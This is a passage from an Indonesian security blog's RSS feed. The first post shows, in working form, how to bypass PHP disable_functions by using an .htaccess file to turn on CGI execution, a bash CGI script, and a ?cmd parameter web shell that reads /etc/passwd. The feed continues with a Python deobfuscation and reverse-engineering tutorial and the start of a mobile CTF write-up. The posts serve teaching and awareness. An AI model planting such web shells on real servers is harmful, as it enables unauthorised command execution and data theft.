<pre class="wp-block-code has-vivid-green-cyan-color has-black-background-color has-text-color has-background has-link-color wp-elements-ac845446031e70b280c87e6a7f870c91"><code>Options +ExecCGI
AddHandler cgi-script .bhitech</code></pre>



<p>Direktif pertama yaitu <strong><em>Options +ExecCGI</em></strong> yang memberitahu webserver untuk mengizinkan eksekusi CGI script lalu direcktif kedua webserver akan melakukan eksekusi jika ditemukan extension .bhitech dan untuk extension opsional kita bisa menambahkan apapun misalkan .cgi, .test, .hijack, .bypass dan lain lain ya</p>



<p>Langkah kedua kita perlu membuat bash script dengan extension .bhitech sederhana saja kita perlu shebang, content type dan command apa yang akan dijalankan</p>



<pre class="wp-block-code has-vivid-green-cyan-color has-black-background-color has-text-color has-background has-link-color wp-elements-25e724b5c3520c72467ee7b2c7fbcc0b"><code>#!/bin/bash
echo -ne "Content-type: text/html\n\n"
id</code></pre>



<p>Disini kita akan menjalankan command id untuk melihat id dan user kita sekarang jadi pada directory akan menjadi 2 file yaitu htaccess dan cgi script seperti ini </p>



<figure class="wp-block-image size-full"><img loading="lazy" decoding="async" width="835" height="265" src="https://blog.bhineka-tech.org/wp-content/uploads/2024/12/Screenshot-2024-12-09-145230.png" alt="" class="wp-image-436" srcset="https://blog.bhineka-tech.org/wp-content/uploads/2024/12/Screenshot-2024-12-09-145230.png 835w, https://blog.bhineka-tech.org/wp-content/uploads/2024/12/Screenshot-2024-12-09-145230-300x95.png 300w, https://blog.bhineka-tech.org/wp-content/uploads/2024/12/Screenshot-2024-12-09-145230-768x244.png 768w" sizes="auto, (max-width: 835px) 100vw, 835px" /></figure>



<p>Lalu jika kita open via browser pada file script.bhitech</p>



<figure class="wp-block-image size-large"><img loading="lazy" decoding="async" width="1024" height="362" src="https://blog.bhineka-tech.org/wp-content/uploads/2024/12/Screenshot-2024-12-09-145414-1024x362.png" alt="" class="wp-image-437" srcset="https://blog.bhineka-tech.org/wp-content/uploads/2024/12/Screenshot-2024-12-09-145414-1024x362.png 1024w, https://blog.bhineka-tech.org/wp-content/uploads/2024/12/Screenshot-2024-12-09-145414-300x106.png 300w, https://blog.bhineka-tech.org/wp-content/uploads/2024/12/Screenshot-2024-12-09-145414-768x271.png 768w, https://blog.bhineka-tech.org/wp-content/uploads/2024/12/Screenshot-2024-12-09-145414-1536x543.png 1536w, https://blog.bhineka-tech.org/wp-content/uploads/2024/12/Screenshot-2024-12-09-145414.png 1670w" sizes="auto, (max-width: 1024px) 100vw, 1024px" /></figure>



<p>Terlihat command id tereksekusi yang berarti kita berhasil melakukan bypass disable function dan untuk command lain mudah saja kita ganti pada file script.bhitech misalkan uname -a<br></p>



<figure class="wp-block-image size-large"><img loading="lazy" decoding="async" width="1024" height="248" src="https://blog.bhineka-tech.org/wp-content/uploads/2024/12/Screenshot-2024-12-09-145745-1024x248.png" alt="" class="wp-image-439" srcset="https://blog.bhineka-tech.org/wp-content/uploads/2024/12/Screenshot-2024-12-09-145745-1024x248.png 1024w, https://blog.bhineka-tech.org/wp-content/uploads/2024/12/Screenshot-2024-12-09-145745-300x73.png 300w, https://blog.bhineka-tech.org/wp-content/uploads/2024/12/Screenshot-2024-12-09-145745-768x186.png 768w, https://blog.bhineka-tech.org/wp-content/uploads/2024/12/Screenshot-2024-12-09-145745-1536x372.png 1536w, https://blog.bhineka-tech.org/wp-content/uploads/2024/12/Screenshot-2024-12-09-145745.png 1597w" sizes="auto, (max-width: 1024px) 100vw, 1024px" /></figure>



<p>Yang akan menampilkan informasi tentang kernel pada server. mungkin akan ribet jika harus modifikasi file untuk melakukan eksekusi command lain jadi disini aku membuat tools untuk melakukan automasi agar lebih mudah dan dinamis </p>



<p><a href="https://github.com/ibrahimzx/mod-cgi-disable-function">https://github.com/ibrahimzx/mod-cgi-disable-function</a></p>



<p>Untuk menggunakan cukup mudah dengan hanya menambahkan GET parameter ?cmd pada url </p>



<figure class="wp-block-image size-large"><img loading="lazy" decoding="async" width="1024" height="473" src="https://blog.bhineka-tech.org/wp-content/uploads/2024/12/Screenshot-2024-12-09-151459-1024x473.png" alt="" class="wp-image-442" srcset="https://blog.bhineka-tech.org/wp-content/uploads/2024/12/Screenshot-2024-12-09-151459-1024x473.png 1024w, https://blog.bhineka-tech.org/wp-content/uploads/2024/12/Screenshot-2024-12-09-151459-300x138.png 300w, https://blog.bhineka-tech.org/wp-content/uploads/2024/12/Screenshot-2024-12-09-151459-768x355.png 768w, https://blog.bhineka-tech.org/wp-content/uploads/2024/12/Screenshot-2024-12-09-151459.png 1250w" sizes="auto, (max-width: 1024px) 100vw, 1024px" /></figure>



<p>Disini misalkan ingin membaca /etc/passwd tinggal tambahkan parameter <em><strong>?cmd=cat /etc/passwd</strong></em> dan command akan dieksekusi serta ditampilkan pada browser </p>



<p><strong><em>Penutup</em></strong></p>



<p>Teknik diatas merupakan salah satu dari sekian banyak cara untuk melakukan bypass pada disable function, disini agar pembaca lebih aware dengan tidak hanya mengandalkan disable function dan menganggap itu aman bahkan jika mod_cgi tidak diaktifkan attacker bisa memanfaatkan fungsi mail dengan <em><strong>LD_PRELOAD </strong></em>atau pada webserver <strong><em>nginx </em></strong>bisa dengan memanfaatkan <em><strong>php-fpm</strong></em> dan protocol gopher untuk mencapai eksekusi command. Ada juga teknik yang melakukan exploiation pada php itu sendiri dengan memanfaakan beberapa bug PHP yang sudah di publish pada <a href="https://bugs.php.net/">https://bugs.php.net/</a> seperti melakukan poisoning process dan menulis data berbahaya pada memory. Oke mungkin cukup sekian artikel kali ini dan semoga bermanfaat.</p>



<p><em>&#8220;Tidak ada akhir untuk pendidikan. Bukan berarti Anda membaca buku, lulus ujian, dan menyelesaikan pendidikan. Seluruh kehidupan, dari saat Anda lahir hingga saat Anda mati, adalah proses pembelajaran.&#8221;</em> <strong>&#8211; Jiddu Krishnamurti</strong></p>
<p>Artikel <a href="https://blog.bhineka-tech.org/2024/12/09/bypass-disable-function-using-mod_cgi/">Bypass disable function using mod_cgi</a> pertama kali tampil pada <a href="https://blog.bhineka-tech.org">Bhineka blog</a>.</p>
]]></content:encoded>
					
					<wfw:commentRss>https://blog.bhineka-tech.org/2024/12/09/bypass-disable-function-using-mod_cgi/feed/</wfw:commentRss>
			<slash:comments>0</slash:comments>
		
		
			</item>
		<item>
		<title>Python reverse engineering</title>
		<link>https://blog.bhineka-tech.org/2024/12/06/python-reverse-engineering/</link>
					<comments>https://blog.bhineka-tech.org/2024/12/06/python-reverse-engineering/#respond</comments>
		
		<dc:creator><![CDATA[xpl0dec]]></dc:creator>
		<pubDate>Fri, 06 Dec 2024 11:18:14 +0000</pubDate>
				<category><![CDATA[Hacking]]></category>
		<category><![CDATA[programming]]></category>
		<category><![CDATA[Reverse Engineering]]></category>
		<category><![CDATA[technology]]></category>
		<guid isPermaLink="false">https://blog.bhineka-tech.org/?p=409</guid>

					<description><![CDATA[<p>Python merupakan suatu scripting language atau bahasa scripting karena sifatnya yang ringan biasanya digunakan untuk tujuan automation, exploit development, pengembangan tools bahkan ada juga web apps yang memakai python dengan framework seperti flask maupun django. Karena mudah dipelajari dan hampir compatible di semua platform, python banyak digunakan mulai dari programmer hingga pentester dan pada topik [&#8230;]</p>
<p>Artikel <a href="https://blog.bhineka-tech.org/2024/12/06/python-reverse-engineering/">Python reverse engineering</a> pertama kali tampil pada <a href="https://blog.bhineka-tech.org">Bhineka blog</a>.</p>
]]></description>
										<content:encoded><![CDATA[
<p>Python merupakan suatu scripting language atau bahasa scripting karena sifatnya yang ringan biasanya digunakan untuk tujuan automation, exploit development, pengembangan tools bahkan ada juga web apps yang memakai python dengan framework seperti flask maupun django. </p>



<p>Karena mudah dipelajari dan hampir compatible di semua platform, python banyak digunakan mulai dari programmer hingga pentester dan pada topik kali ini kita akan membahas bagaimana melakukan reverse engineering pada python karena biasanya programmer melakukan semacam teknik packing pada source code seperti melakukan obfuscate, compile serta converting kedalam bytecode.</p>



<p>Hal yang perlu diketahui disini beberapa program python pada banyak kasus tidak bisa dikembalikan kedalam source code aslinya jika programmer melakukan compile dan serialization menjadi bytecode seperti menggunakan marshal, pyarmor ataupun menjadikannya suatu executable file tapi jika programmer hanya melakukan obfuscate pada code menggunakan fungsi semacam eval, lambda, zlib, exec besar kemungkinan kita masih bisa mendapatkan source code asli pada program.</p>



<p>Kita bisa contohkan dengan program sederhana </p>



<pre class="wp-block-code has-vivid-green-cyan-color has-black-background-color has-text-color has-background has-link-color wp-elements-c7a562dc60896b4e6a51410c0e5e6ae6"><code>import codecs

def validation(input):
        valid_input = codecs.decode("ouvarxn-grpu1336", "rot-13")
        if input == valid_input:
                return True


        return False


print("Enter valid input: ", end="")
input_user = input()

if validation(input_user):
        print("Input correct!!")
else:
        print("Input incorrect no have access!!")</code></pre>



<p>Scriptnya sangat sederhana dimana terdapat satu function untuk melakukan validasi input dengan string yang sudah dilakukan substitusi menggunakan ROT-13 lalu setelah di obfuscate menjadi seperti ini :</p>



<pre class="wp-block-code has-vivid-green-cyan-color has-black-background-color has-text-color has-background has-link-color wp-elements-c1d6e1166bef409721d8c06c38086437"><code>_ = lambda __ : __import__('zlib').decompress(__import__('base64').b64decode(__&#91;::-1]));exec((_)(b'A+pAW8w/+9cxY35EeyFVcLbyqDKGpUOanCFCUVVwGWItIYh9LzSSfRhole9RY8NVAqm0Bah4cir/PYFOiiCVIi1GYChx1LLEryJr+r3w0YzDOW0X8wGWYV90lCZwxIi5r4DAhED74pv6ZfYp7jf3tX4rqiVTMgCpUKa7CWGdZ0xV2dom1pnQNOz+Uk9uDlDPVEkizxnF4pDe1NnS9rWKmbls9A3Ho+wyR66EjIz3Qm4sckZDEMgKEIjogXq07OlXac8e8DY9HHOVzSQ5tXx5M8GZxa3nAx41zRazZRm2UPgh7ZpwocDx6/uQ05I03N63GPjsmpXjCZ/kHtbPvtGe1jWfqZf+tNkqC3e9Yy8OYJIh85XaZnesf7xZmjskHUtcJNkebJ5XA08w2Ptm/hHMbot288OWyQrTNR2ZOOXC+sSIa1wRL7YdNFAWUSd97hoc5Z7Am26D9Lm+wN4moDKJOXM639h0v39+3y2iBd3s6nvx1ZMJ7apc0LVYh6OSxTBG6VbOPDNAAAkQ2udwFwJe'))</code></pre>



<p>Dan jika kita run keduanya sama sama menampilkan output yang sama dan program juga berjalan dengan benar hanya saja pada code obfuscate kita tidak mengerti fungsi apa dan seperti apa source code didalamnya karena sudah dilakukan encoding dengan zlib dan base64.</p>



<figure class="wp-block-image size-large"><img loading="lazy" decoding="async" width="1024" height="239" src="https://blog.bhineka-tech.org/wp-content/uploads/2024/12/Screenshot-2024-12-06-160237-1024x239.png" alt="" class="wp-image-415" srcset="https://blog.bhineka-tech.org/wp-content/uploads/2024/12/Screenshot-2024-12-06-160237-1024x239.png 1024w, https://blog.bhineka-tech.org/wp-content/uploads/2024/12/Screenshot-2024-12-06-160237-300x70.png 300w, https://blog.bhineka-tech.org/wp-content/uploads/2024/12/Screenshot-2024-12-06-160237-768x180.png 768w, https://blog.bhineka-tech.org/wp-content/uploads/2024/12/Screenshot-2024-12-06-160237.png 1330w" sizes="auto, (max-width: 1024px) 100vw, 1024px" /></figure>



<p>Jadi mudah saja untuk melakukan deobfuscate kita tinggal me-replace fungsi<em> exec()</em> dengan <em>print()</em> karena kita tau jika fungsi exec() digunakan untuk melakukan eksekusi source code sedangkan fungsi print() digunakan untuk menampilkan output ke layar </p>



<pre class="wp-block-code has-vivid-green-cyan-color has-black-background-color has-text-color has-background has-link-color wp-elements-a3ead5281c2a32cc7a07f5b6f23179c8"><code>_ = lambda __ : __import__('zlib').decompress(__import__('base64').b64decode(__&#91;::-1]));print((_)(b'A+pAW8w/+9cxY35EeyFVcLbyqDKGpUOanCFCUVVwGWItIYh9LzSSfRhole9RY8NVAqm0Bah4cir/PYFOiiCVIi1GYChx1LLEryJr+r3w0YzDOW0X8wGWYV90lCZwxIi5r4DAhED74pv6ZfYp7jf3tX4rqiVTMgCpUKa7CWGdZ0xV2dom1pnQNOz+Uk9uDlDPVEkizxnF4pDe1NnS9rWKmbls9A3Ho+wyR66EjIz3Qm4sckZDEMgKEIjogXq07OlXac8e8DY9HHOVzSQ5tXx5M8GZxa3nAx41zRazZRm2UPgh7ZpwocDx6/uQ05I03N63GPjsmpXjCZ/kHtbPvtGe1jWfqZf+tNkqC3e9Yy8OYJIh85XaZnesf7xZmjskHUtcJNkebJ5XA08w2Ptm/hHMbot288OWyQrTNR2ZOOXC+sSIa1wRL7YdNFAWUSd97hoc5Z7Am26D9Lm+wN4moDKJOXM639h0v39+3y2iBd3s6nvx1ZMJ7apc0LVYh6OSxTBG6VbOPDNAAAkQ2udwFwJe'))</code></pre>



<p>Disini kita ubah exec() dengan print() lalu jika kita jalankan</p>



<figure class="wp-block-image size-large"><img loading="lazy" decoding="async" width="1024" height="167" src="https://blog.bhineka-tech.org/wp-content/uploads/2024/12/Screenshot-2024-12-06-160905-1024x167.png" alt="" class="wp-image-416" srcset="https://blog.bhineka-tech.org/wp-content/uploads/2024/12/Screenshot-2024-12-06-160905-1024x167.png 1024w, https://blog.bhineka-tech.org/wp-content/uploads/2024/12/Screenshot-2024-12-06-160905-300x49.png 300w, https://blog.bhineka-tech.org/wp-content/uploads/2024/12/Screenshot-2024-12-06-160905-768x126.png 768w, https://blog.bhineka-tech.org/wp-content/uploads/2024/12/Screenshot-2024-12-06-160905.png 1346w" sizes="auto, (max-width: 1024px) 100vw, 1024px" /></figure>



<p>terlihat menampilkan output tetapi output masih menunjukkan code yang masih ter-obfuscate dan bisa kita asumsikan jika obfuscate pada program menggunakan double encoding dan caranya untuk mendapatkan source code aslinya dengan copy ouput dan kita buat file python baru lalu ubah exec() menjadi print() jalankan dan jika belum menampilkan code asli ulangi hingga menemukan source code aslinya.</p>



<p>Cara cepatnya lebih baik kita membuat script automation decoding agar tidak perlu repot repot melakukan decoding</p>



<pre class="wp-block-code has-vivid-green-cyan-color has-black-background-color has-text-color has-background has-link-color wp-elements-3d0fe4c96b5ba1a82c304db288341f6b"><code>_ = lambda __ : __import__('zlib').decompress(__import__('base64').b64decode(__&#91;::-1]));


obfuscate_str = (_)(b'A+pAW8w/+9cxY35EeyFVcLbyqDKGpUOanCFCUVVwGWItIYh9LzSSfRhole9RY8NVAqm0Bah4cir/PYFOiiCVIi1GYChx1LLEryJr+r3w0YzDOW0X8wGWYV90lCZwxIi5r4DAhED74pv6ZfYp7jf3tX4rqiVTMgCpUKa7CWGdZ0xV2dom1pnQNOz+Uk9uDlDPVEkizxnF4pDe1NnS9rWKmbls9A3Ho+wyR66EjIz3Qm4sckZDEMgKEIjogXq07OlXac8e8DY9HHOVzSQ5tXx5M8GZxa3nAx41zRazZRm2UPgh7ZpwocDx6/uQ05I03N63GPjsmpXjCZ/kHtbPvtGe1jWfqZf+tNkqC3e9Yy8OYJIh85XaZnesf7xZmjskHUtcJNkebJ5XA08w2Ptm/hHMbot288OWyQrTNR2ZOOXC+sSIa1wRL7YdNFAWUSd97hoc5Z7Am26D9Lm+wN4moDKJOXM639h0v39+3y2iBd3s6nvx1ZMJ7apc0LVYh6OSxTBG6VbOPDNAAAkQ2udwFwJe')


decode = str(obfuscate_str).replace('b"exec', "").replace('"', '')

result = b""
for i in range(0, 4):
        x = eval(decode)
        decode = str(x).replace('b"exec', "").replace('"', '')
        result = x


print(result.decode('utf-8'))
</code></pre>



<p>Jadi fungsi pada script diatas yaitu akan melakukan iterasi sebanyak 5 kali serta melakukan replace fungsi exec lalu dilakukan eval untuk menyimpan hasil decoding pada variable x hingga menemukan source code asli dan terakhir menggunakan print untuk menampilkan output code pada layar</p>



<figure class="wp-block-image size-full is-resized"><img loading="lazy" decoding="async" width="657" height="402" src="https://blog.bhineka-tech.org/wp-content/uploads/2024/12/Screenshot-2024-12-06-170600.png" alt="" class="wp-image-417" style="width:827px;height:auto" srcset="https://blog.bhineka-tech.org/wp-content/uploads/2024/12/Screenshot-2024-12-06-170600.png 657w, https://blog.bhineka-tech.org/wp-content/uploads/2024/12/Screenshot-2024-12-06-170600-300x184.png 300w" sizes="auto, (max-width: 657px) 100vw, 657px" /></figure>



<p>Jika dijalankan maka akan manampilkan source code hasil deobfuscate yang menunjukkan kita berhasil mendapatkan source code aslinya. Case disini source code bisa dikembalikan pada bentuk semula karena hanya obfuscate memakai double encoding tapi bagaimana jika programmer melakukan compiling ataupun serialization ? jawabannya dengan melakukan analysis bytecode</p>



<p>Kita perlu kenalan dulu dengan marshal, jadi marshal merupakan fungsi atau modul bawaan dari python yang digunakan untuk mendapatkan byte code dari suatu script python itu sendiri jadi bisa kita sebut marshal ini sebagai suatu pseudo compiled dimana dengan marshal kita bisa melakukan converting code python ke binary format dan serialization menjadi bytecode object.</p>



<p>kita bisa melakukan compile python script menggunakan command :</p>



<pre class="wp-block-code has-vivid-green-cyan-color has-black-background-color has-text-color has-background has-link-color wp-elements-21e8c1a783c71ba2aaccf650788b6760"><code>python3 -m py_compile source_codes.py</code></pre>



<p>dan outputnya nanti akan tersimpan pada directory __<strong>pycache</strong>__ yang dimana extension file berubah menjadi .pyc. Sebenarnya.pyc merupakan file marshal yang ditambahkan header dan jika beruntung kita bisa melakukan decompile menggunakan uncompyle6 untuk mendapatkan source code asli tapi tidak selalu berhasil jadi cara alternatifnya kita perlu membaca bytecode mengunakan modul python yaitu <strong><em>dis</em></strong>.</p>



<p>untuk mengambil bytecode script python pada pyc mudah saja kita perlu mengambil byte setelah header dan paddingnya yaitu 16 byte lalu kita simpan pada file terpisah dan lakukan load menggunakan marshal.loads()</p>



<figure class="wp-block-image size-full is-resized"><img loading="lazy" decoding="async" width="790" height="210" src="https://blog.bhineka-tech.org/wp-content/uploads/2024/12/Screenshot-2024-12-06-173920.png" alt="" class="wp-image-418" style="width:840px;height:auto" srcset="https://blog.bhineka-tech.org/wp-content/uploads/2024/12/Screenshot-2024-12-06-173920.png 790w, https://blog.bhineka-tech.org/wp-content/uploads/2024/12/Screenshot-2024-12-06-173920-300x80.png 300w, https://blog.bhineka-tech.org/wp-content/uploads/2024/12/Screenshot-2024-12-06-173920-768x204.png 768w" sizes="auto, (max-width: 790px) 100vw, 790px" /></figure>



<p>Kita bisa ambil row kedua setelah 16 byte pada offset 00000010</p>



<pre class="wp-block-code has-vivid-green-cyan-color has-black-background-color has-text-color has-background has-link-color wp-elements-e6290d764c9537c074f63a66b35c530e"><code>import marshal

f = open("__pycache__/source_code.cpython-311.pyc", "rb").read()&#91;16:]
#f = open("source_code.py", "r").read()

print(f)
#code = compile(f, '', 'exec')
#print(marshal.dumps(code))
</code></pre>



<p>dan jika kita jalankan </p>



<figure class="wp-block-image size-large"><img loading="lazy" decoding="async" width="1024" height="407" src="https://blog.bhineka-tech.org/wp-content/uploads/2024/12/Screenshot-2024-12-06-174504-1024x407.png" alt="" class="wp-image-419" srcset="https://blog.bhineka-tech.org/wp-content/uploads/2024/12/Screenshot-2024-12-06-174504-1024x407.png 1024w, https://blog.bhineka-tech.org/wp-content/uploads/2024/12/Screenshot-2024-12-06-174504-300x119.png 300w, https://blog.bhineka-tech.org/wp-content/uploads/2024/12/Screenshot-2024-12-06-174504-768x306.png 768w, https://blog.bhineka-tech.org/wp-content/uploads/2024/12/Screenshot-2024-12-06-174504.png 1347w" sizes="auto, (max-width: 1024px) 100vw, 1024px" /></figure>



<p>maka akan menampilkan semua bytecode marshal pada file pyc kemudian kita bisa copas semua output lalu buat file baru yang nantinya kita akan eksekusi menggunakan marshal.loads()</p>



<figure class="wp-block-image size-large"><img loading="lazy" decoding="async" width="1024" height="343" src="https://blog.bhineka-tech.org/wp-content/uploads/2024/12/Screenshot-2024-12-06-174651-1024x343.png" alt="" class="wp-image-420" srcset="https://blog.bhineka-tech.org/wp-content/uploads/2024/12/Screenshot-2024-12-06-174651-1024x343.png 1024w, https://blog.bhineka-tech.org/wp-content/uploads/2024/12/Screenshot-2024-12-06-174651-300x100.png 300w, https://blog.bhineka-tech.org/wp-content/uploads/2024/12/Screenshot-2024-12-06-174651-768x257.png 768w, https://blog.bhineka-tech.org/wp-content/uploads/2024/12/Screenshot-2024-12-06-174651.png 1326w" sizes="auto, (max-width: 1024px) 100vw, 1024px" /></figure>



<p>jika kita eksekusi sama saja dengan program .pyc kita</p>



<figure class="wp-block-image size-full is-resized"><img loading="lazy" decoding="async" width="749" height="178" src="https://blog.bhineka-tech.org/wp-content/uploads/2024/12/Screenshot-2024-12-06-174722.png" alt="" class="wp-image-421" style="width:840px;height:auto" srcset="https://blog.bhineka-tech.org/wp-content/uploads/2024/12/Screenshot-2024-12-06-174722.png 749w, https://blog.bhineka-tech.org/wp-content/uploads/2024/12/Screenshot-2024-12-06-174722-300x71.png 300w" sizes="auto, (max-width: 749px) 100vw, 749px" /></figure>



<p>Disini bytecode dari pyc berguna untuk melakukan disassemble menggunakan modul <em><strong>dis</strong></em> yang kita bahas sebelumnya</p>



<figure class="wp-block-image size-large"><img loading="lazy" decoding="async" width="1024" height="330" src="https://blog.bhineka-tech.org/wp-content/uploads/2024/12/Screenshot-2024-12-06-175212-1024x330.png" alt="" class="wp-image-422" srcset="https://blog.bhineka-tech.org/wp-content/uploads/2024/12/Screenshot-2024-12-06-175212-1024x330.png 1024w, https://blog.bhineka-tech.org/wp-content/uploads/2024/12/Screenshot-2024-12-06-175212-300x97.png 300w, https://blog.bhineka-tech.org/wp-content/uploads/2024/12/Screenshot-2024-12-06-175212-768x247.png 768w, https://blog.bhineka-tech.org/wp-content/uploads/2024/12/Screenshot-2024-12-06-175212.png 1329w" sizes="auto, (max-width: 1024px) 100vw, 1024px" /></figure>



<p>kita hanya perlu import modul dis dan lakukan pemanggilan fungsi <em><strong>dis.dis</strong></em> dengan parameter hasil marshal.loads() yang sebelumnya kita dapatkan</p>



<figure class="wp-block-image size-full"><img loading="lazy" decoding="async" width="1010" height="699" src="https://blog.bhineka-tech.org/wp-content/uploads/2024/12/Screenshot-2024-12-06-175506.png" alt="" class="wp-image-423" srcset="https://blog.bhineka-tech.org/wp-content/uploads/2024/12/Screenshot-2024-12-06-175506.png 1010w, https://blog.bhineka-tech.org/wp-content/uploads/2024/12/Screenshot-2024-12-06-175506-300x208.png 300w, https://blog.bhineka-tech.org/wp-content/uploads/2024/12/Screenshot-2024-12-06-175506-768x532.png 768w" sizes="auto, (max-width: 1010px) 100vw, 1010px" /></figure>



<p>Maka akan menampilkan hasil disassemble opcode dari script python hal ini bisa sulit jika codenya rumit tapi dari sini kita bisa melihat fungsi apa saja dan bagaimana suatu program itu bekerja</p>



<pre class="wp-block-code has-vivid-green-cyan-color has-black-background-color has-text-color has-background has-link-color wp-elements-4ed656cc0a88e67231262d10504b2aa0"><code>Disassembly of &lt;code object validation at 0x7fe1e3401330, file "source_code.py", line 3>:
  3           0 RESUME                   0

  4           2 LOAD_GLOBAL              1 (NULL + codecs)
             14 LOAD_ATTR                1 (decode)
             24 LOAD_CONST               1 ('ouvarxn-grpu1336')
             26 LOAD_CONST               2 ('rot-13')
             28 PRECALL                  2
             32 CALL                     2
             42 STORE_FAST               1 (valid_input)

  5          44 LOAD_FAST                0 (input)
             46 LOAD_FAST                1 (valid_input)
             48 COMPARE_OP               2 (==)
             54 POP_JUMP_FORWARD_IF_FALSE     2 (to 60)

  6          56 LOAD_CONST               3 (True)
             58 RETURN_VALUE

  9     >>   60 LOAD_CONST               4 (False)
             62 RETURN_VALUE</code></pre>



<p>Contohnya pada fungsi validation dimana ada beberapa mnemonic seperti <em>LOAD_GLOBAL </em>yang digunakan untuk mengambil fungsi global dalam hal ini codecs lalu ada <em>LOAD_ATTR </em>yang mengambil attribute dengan 2 parameter yaitu ouvarxn-grpu1336 dan rot-13 yang di inisialisasi menggunakan <em>LOAD_CONST</em> dan dilakukan perbandingan menggunakan COMPARE_OP dari variable input(dalam hal ini input dari user) dengan valid_input yang mengambil dari LOAD_GLOBAL codecs.</p>



<p>Disini kita bisa analysis jika codecs melakukan decode ROT-13 pada string ouvarxn-grpu1336 dan jika kita decode ROT13 string asli merupakan <em><strong>bhineka-tech1336</strong></em> lalu kita coba inputkan pada program</p>



<figure class="wp-block-image size-full is-resized"><img loading="lazy" decoding="async" width="556" height="125" src="https://blog.bhineka-tech.org/wp-content/uploads/2024/12/Screenshot-2024-12-06-180600.png" alt="" class="wp-image-424" style="width:831px;height:auto" srcset="https://blog.bhineka-tech.org/wp-content/uploads/2024/12/Screenshot-2024-12-06-180600.png 556w, https://blog.bhineka-tech.org/wp-content/uploads/2024/12/Screenshot-2024-12-06-180600-300x67.png 300w" sizes="auto, (max-width: 556px) 100vw, 556px" /></figure>



<p>dan berhasil yang menunjukkan output Input Correct </p>



<p><strong>Penutup</strong></p>



<p>Sebenarnya masih banyak teknik yang bisa kita lakukan untuk RE pada python contohnya kita juga bisa melakukan overwrite internal module untuk hooking dan menampilkan suatu string / data tertentu atau jika pada executable file kita bisa memanfaatkan teknik memory dump untuk melihat data pada saat program berjalan. Jadi kita tidak mungkin membahas semuanya karena itu akan sangat panjang dan tulisan ini dibuat untuk para reverser engineer agar lebih memahami bagaimana melakukan reverse engineering pada python script jadi mungkin itu saja sekiann.</p>



<p><em>&#8220;Yang penting bukan seberapa pintar kamu, tetapi seberapa keras kamu berusaha.&#8221;</em> <strong> -Albert Einstein</strong></p>
<p>Artikel <a href="https://blog.bhineka-tech.org/2024/12/06/python-reverse-engineering/">Python reverse engineering</a> pertama kali tampil pada <a href="https://blog.bhineka-tech.org">Bhineka blog</a>.</p>
]]></content:encoded>
					
					<wfw:commentRss>https://blog.bhineka-tech.org/2024/12/06/python-reverse-engineering/feed/</wfw:commentRss>
			<slash:comments>0</slash:comments>
		
		
			</item>
		<item>
		<title>WriteUp Mobile Pentesting Bhitech &#8211; Challenge</title>
		<link>https://blog.bhineka-tech.org/2024/11/20/writeup-mobile-pentesting-bhitech-challenge/</link>
					<comments>https://blog.bhineka-tech.org/2024/11/20/writeup-mobile-pentesting-bhitech-challenge/#respond</comments>
		
		<dc:creator><![CDATA[xpl0dec]]></dc:creator>
		<pubDate>Wed, 20 Nov 2024 13:13:00 +0000</pubDate>
				<category><![CDATA[Tak Berkategori]]></category>
		<guid isPermaLink="false">https://blog.bhineka-tech.org/?p=374</guid>

					<description><![CDATA[<p>Pada tulisan ini aku akan share writeup dari challenge yang berjudul &#8220;Mobile Pentesting&#8221; pada group Bhineka Tech. Seperti yang ditulis pada deskripsi, kita ditugaskan untuk melakukan hacking dan reverse engineering pada file .apk yang diberikan, secara sederhana apk atau singkatan dari android package kit merupakan zip archive dan mengandung semua data yang diperlukan untuk dijalankan [&#8230;]</p>
<p>Artikel <a href="https://blog.bhineka-tech.org/2024/11/20/writeup-mobile-pentesting-bhitech-challenge/">WriteUp Mobile Pentesting Bhitech &#8211; Challenge</a> pertama kali tampil pada <a href="https://blog.bhineka-tech.org">Bhineka blog</a>.</p>
]]></description>
										<content:encoded><![CDATA[
<p>Pada tulisan ini aku akan share writeup dari challenge yang berjudul &#8220;Mobile Pentesting&#8221; pada group Bhineka Tech.</p>



<pre class="wp-block-code has-vivid-green-cyan-color has-black-background-color has-text-color has-background has-link-color wp-elements-ca2e6b0debadba21310d199d214b133d"><code>Mobile Pentesting Challenge

Description:
Kamu ditugaskan untuk melakukan hacking dan reverse engineering pada file apk yang diberikan, dan ingat kata mas Jon Erickson dimana hacking itu seni jadi untuk mendapatkan flagnya banyak teknik yang bisa digunakan tergantung dari kreativitas dan pola pikir kalian.

Format flag: bhitech{}
Kategori: Mobile apps
Reward 25K untuk first blood

#HappyChallenge #TheArtOfMobileHacking</code></pre>



<p>Seperti yang ditulis pada deskripsi, kita ditugaskan untuk melakukan <em>hacking </em>dan <em>reverse engineering</em> pada file .apk yang diberikan, secara sederhana apk atau singkatan dari <strong>android package kit</strong> merupakan zip archive dan mengandung semua data yang diperlukan untuk dijalankan pada operating system android.</p>



<p>Kalian bisa download pada URL <a href="https://siber-tech.web.id/chall.apk">https://siber-tech.web.id/chall.apk</a> dan setelah di install kita akan lihat tampilan aplikasi setelah dijalankan</p>



<figure class="wp-block-image size-full"><img loading="lazy" decoding="async" width="977" height="695" src="https://blog.bhineka-tech.org/wp-content/uploads/2024/11/Screenshot-2024-11-20-185138.png" alt="" class="wp-image-379" srcset="https://blog.bhineka-tech.org/wp-content/uploads/2024/11/Screenshot-2024-11-20-185138.png 977w, https://blog.bhineka-tech.org/wp-content/uploads/2024/11/Screenshot-2024-11-20-185138-300x213.png 300w, https://blog.bhineka-tech.org/wp-content/uploads/2024/11/Screenshot-2024-11-20-185138-768x546.png 768w" sizes="auto, (max-width: 977px) 100vw, 977px" /></figure>



<p>Disini aku memakai android emulator dan kita bisa melihat tampilan setelah di install terdapat 2 input form yang digunakan untuk login dan jika kita menginputkan suatu string asal maka menampilkan pesan toast </p>



<figure class="wp-block-image size-full is-resized"><img loading="lazy" decoding="async" width="234" height="209" src="https://blog.bhineka-tech.org/wp-content/uploads/2024/11/Screenshot-2024-11-20-185427.png" alt="" class="wp-image-381" style="width:823px;height:auto"/></figure>



<p>Jadi disini untuk mempelajari cara kerja dan behaviour dari aplikasi kita akan melakukan reverse engineering dan melihat dari sisi code base dimana hal ini kita kenal dengan static analysis. Dan disini aku menggunakan <strong><em>JADX</em></strong> yaitu salah satu tools yang cukup powerfull untuk unpacking dan decompile pada suatu file apk</p>



